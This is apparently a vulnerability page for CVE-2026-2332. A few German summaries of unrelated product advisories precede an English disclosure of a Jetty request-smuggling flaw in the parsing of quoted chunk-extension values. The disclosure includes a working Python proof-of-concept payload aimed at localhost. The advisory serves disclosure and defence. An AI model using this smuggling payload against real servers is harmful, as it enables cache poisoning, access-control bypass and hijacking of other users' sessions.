CVE-2026-2332

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Eclipse Jetty ausnutzen, um Daten zu manipulieren.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle REST Data Services ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

Ein Angreifer kann mehrere Schwachstellen in IBM Operational Decision Manager ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um Sicherheitsvorkehrungen zu umgehen.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Communications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Enterprise Manager ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Enterprise Manager ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

### Description (as reported) Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ### Background This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values. ### Technical Details **RFC 9112 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes. ### Vulnerability Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error. **Expected (RFC compliant):** ``` Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n] ``` **Actual (jetty):** ``` Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request ``` ### Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** Server returns 2 HTTP responses from a single TCP connection. #### Parsing Breakdown | Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) | ### Impact - **Request Smuggling**: Attacker injects arbitrary HTTP requests - **Cache Poisoning**: Smuggled responses poison shared caches - **Access Control Bypass**: Smuggled requests bypass frontend security - **Session Hijacking**: Smuggled requests can steal other users' responses ### Reproduction 1. Start the minimal POC with docker 2. Run the poc script provided in same zip ### Suggested Fix Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator. ### Patches No patches yet. ### Workarounds No workarounds yet. ### References - RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) - Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html - details for security versions https://jetty.org/security.html